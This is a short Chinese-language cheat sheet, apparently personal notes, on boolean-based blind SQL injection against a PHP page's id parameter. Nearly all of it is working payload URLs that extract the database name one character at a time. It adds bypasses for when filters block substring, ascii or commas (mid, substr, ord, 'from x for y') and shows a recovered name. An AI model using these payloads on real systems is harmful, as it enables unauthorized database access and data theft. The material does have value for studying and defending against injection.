http://www.x.com/sections_intr.php?id=181 and length((database()))=4
http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),1,1))=122
http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),2,1))=122
http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),3,1))=102
http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),4,1))=121
substring过滤的时候替换成mid
http://www.x.com/sections_intr.php?id=181 and ascii(mid(database(),1,1)) =122
substring过滤的时候替换成substr substr() Mid()等价于 substring() 函数
http://www.x.com/sections_intr.php?id=181 and ascii(substr(database(),1,1)) =122
当然还可以使用 substring mid left right substr REGEXP
盲注简单的来说 就是一个字符 一个字符一个字符匹配
ascii过滤的时候替换成ord
http://www.x.com/sections_intr.php?id=181 and ord(mid(database(),1,1))=122
绕过不能使用使用逗号的情况
ascii(mid(user(),1,1))=150
绕过的方法是使用from x for y。语法类似:
mid(user() from 1 for 1)
或
substr(user() from 1 for 1)
以上同样是从第一个字符开始,取一位字符。
那么,不带逗号注入的语法,就可以变成:
mysql> select ascii(substr(user() from 1 for 1)) < 150;
122=z 102=f 121=y
库名:zzfy
ascii码表 http://app.baidu.com/app/enter?appid=218548